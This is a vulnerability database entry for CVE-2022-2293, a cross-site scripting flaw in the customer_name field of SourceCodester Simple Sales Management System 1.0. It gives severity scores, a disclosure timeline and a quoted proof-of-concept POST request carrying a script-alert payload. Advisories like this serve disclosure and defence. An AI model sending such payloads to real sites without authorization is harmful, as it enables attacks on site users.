



VDB-203167 · CVE-2022-2293

SOURCECODESTER SIMPLE SALES MANAGEMENT SYSTEM 1.0 CREATE CUSTOMER_NAME CROSS SITE SCRIPTING

CVSS Meta Temp Score ?

4.0

Current Exploit Price (≈) ?

\$0-\$5k

CTI Interest Score ?

0.15

A vulnerability classified as problematic was found in SourceCodester Simple Sales Management System 1.0. Affected by this vulnerability is some unknown processing of the file `/ci_ssms/index.php/orders/create`. The manipulation of the argument `customer_name` with the input value `<script>alert("XSS")</script>` leads to a cross site scripting vulnerability. The CWE definition for the vulnerability is CWE-79. The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. As an impact it is known to affect integrity.

The weakness was disclosed 07/03/2022. It is possible to read the advisory at github.com. This vulnerability is known as CVE-2022-2293. It demands that the victim is doing some kind of user interaction. Technical details and also a public exploit are known. The attack technique deployed by this issue is T1059.007 according to MITRE ATT&CK.

It is declared as proof-of-concept. It is possible to download the exploit at github.com. The code used by the exploit is:

```
POST /ci_ssms/index.php/orders/create HTTP/1.1
Host: localhost
Content-Length: 91
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/ci_ssms/index.php/orders/create
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: ci_session=ome77qk8e57r33fcfht2dktlgi421bj8
Connection: close
```

connection: close

customer_name=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&products%5B%5D=21&qty%5B%5D=1

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

Product

Vendor

- SourceCodester

Name

- Simple Sales Management System

CPE 2.3

- 

CPE 2.2

- 

CVSSv3

VulDB Meta Base Score: 4.1

VulDB Meta Temp Score: 4.0

VulDB Base Score: 3.5

VulDB Temp Score: 3.2


VulDB Vector: 

VulDB Reliability: 

NVD Base Score: 5.4

NVD Vector: 

CNA Base Score: 3.5

CNA Vector (VulDB): 

CVSSv2





VulDB Base Score: 🔒

VulDB Temp Score: 🔒

VulDB Reliability: 🔍

NVD Base Score: 🔒

Exploiting

Class: Cross site scripting

CWE: CWE-79 / CWE-74 / CWE-707

ATT&CK: T1059.007

Local: No

Remote: Yes

Availability: 🔒

Access: Public

Status: Proof-of-Concept

Download: 🔒

EPSS Score: 🔒

EPSS Percentile: 🔒

Price Prediction: 🔍

Current Price Estimation: 🔒

Threat Intelligence

Interest: 🔍

Active Actors: 🔍

Active APT Groups: 🔍

Countermeasures

Countermeasures

Recommended: no mitigation known

Status: 🔍

0-Day Time: 🗝

Timeline

07/03/2022		Advisory disclosed
07/03/2022	+0 days	CVE reserved
07/03/2022	+0 days	VulDB entry created
07/18/2022	+15 days	VulDB last update

Sources

Advisory: github.com

Status: Not defined

CVE: CVE-2022-2293 (🗝)

scip Labs: <https://www.scip.ch/en/?labs.20161013>

Entry

Created: 07/03/2022 12:06 PM

Updated: 07/18/2022 02:04 PM

Changes: 07/03/2022 12:06 PM (43), 07/18/2022 01:59 PM (2), 07/18/2022 02:04 PM (28)

Complete: 🔍

Submitter: cyberthoth

Discussion

No comments yet. Languages: en.

Please log in to comment.